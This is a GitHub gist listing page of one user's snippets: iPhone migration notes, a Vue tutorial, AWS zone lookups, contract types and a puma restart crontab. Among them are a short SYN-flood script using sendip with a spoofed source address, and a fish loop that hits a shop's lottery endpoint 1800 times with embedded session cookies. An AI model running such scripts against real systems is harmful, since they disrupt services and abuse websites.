Skip to content

Instantly share code, notes, and snippets.

Yuki Matsukura matsubo

Block or report user

Report or block matsubo

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View iphone_migration.md

概要

  • iCloudの移行だけではすべてが移行できないので、備忘録。
  • iPhone to iPhoneのデータを移行するのにだいたい2時間ぐらいかかる。

項目

  • Apple Pay
    • クレカ
    • Suica
View vue_tutorial.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>vue tutorial</title>
</head>
<body>
<div id="app">
<p>{{ message }}</p>
@matsubo
matsubo / shell.sh
Created Aug 26, 2019
Find zone id(apne1-az1) from AWS zone name(ap-northeast-1c).
View shell.sh
% aws ec2 describe-availability-zones
{
"AvailabilityZones": [
{
"State": "available",
"Messages": [],
"RegionName": "ap-northeast-1",
"ZoneName": "ap-northeast-1a",
"ZoneId": "apne1-az4"
},
@matsubo
matsubo / 契約一覧.md
Last active Aug 16, 2019
システム開発に関連する契約を整理
View 契約一覧.md
  • 業務委託契約 (契約書の名前は業務委託だが、中身は請負の内容になっている契約があったりする)
    • 委任契約(法律行為の事実行為の事務)
    • 準委任契約(法律行為ではない事実行為の事務)
    • 請負契約
  • 請負契約
  • 派遣契約
View crontab
*/15 * * * * /path/to/restart_if_high_memory.sh >> /tmp/restart_if_high_memory.log 2>&1
@matsubo
matsubo / crontab
Created Jun 20, 2019
Restart puma if physical memory usage is high.
View crontab
*/15 * * * * /path/to/restart_if_high_memory.sh >> /tmp/restart_if_high_memory.log 2>&1
View stw.fish
#!/usr/local/bin/fish
for x in (seq 1800)
curl 'https://secure.stworld.jp/feature/newyear/2019/lottery/lottery' -H 'Pragma: no-cache' -H 'Origin: https://secure.stworld.jp' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,ja;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Cache-Control: no-cache' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: visitor_id223282=181749265; _gcl_au=1.1.414732265.1546959715; _ga=GA1.2.1234524321.1546959715; _gid=GA1.2.1458044082.1546959715; _dc_gtm_UA-6651752-1=1; _fsefo_user_id=6wgtHBuQ; cto_lwid=71c503de-06b7-4da4-80ea-165dc1cbff29; _a1_f=b4ce2418-d5ff-44b5-8be9-9a253384f1bd; _a1_u=305913bc-0590-47ba-b64b-b528fc99fa63; _ga=GA1.3.1234524321.1546959715; _gid=GA1.3.1458044082.1546959715; _gat_UA-6651752-1=1; visitor_id22328
@matsubo
matsubo / syn_flood.sh
Created Nov 9, 2018
root privilege is required to execute sendip command.
View syn_flood.sh
#!/bin/sh
delay=200
while : ; do
port=$RANDOM
sendip -d '' -p ipv4 -p tcp -is 192.168.0.254 -ts $port -td 80 192.168.0.10
usleep $delay
done
@matsubo
matsubo / rss.php
Created Aug 30, 2018
fire uploader HTML scraping
View rss.php
<?php
ini_set('error_reporting', false);
require_once('htmlsql/snoopy.class.php');
require_once('htmlsql/htmlsql.class.php');
$id = $_REQUEST['id'];
$wsql = new htmlsql();
$wsql->set_user_agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2) Gecko/20100115 Firefox/3.6 Jingoo/0.1.4 (.NET CLR 3.5.30729)');
@matsubo
matsubo / config.yml
Created May 25, 2018
.circleci/config.yml
View config.yml
# Javascript Node CircleCI 2.0 configuration file
#
# Check https://circleci.com/docs/2.0/language-javascript/ for more details
#
version: 2
jobs:
build-job:
docker:
- image: circleci/node:latest
working_directory: ~/repo
You can’t perform that action at this time.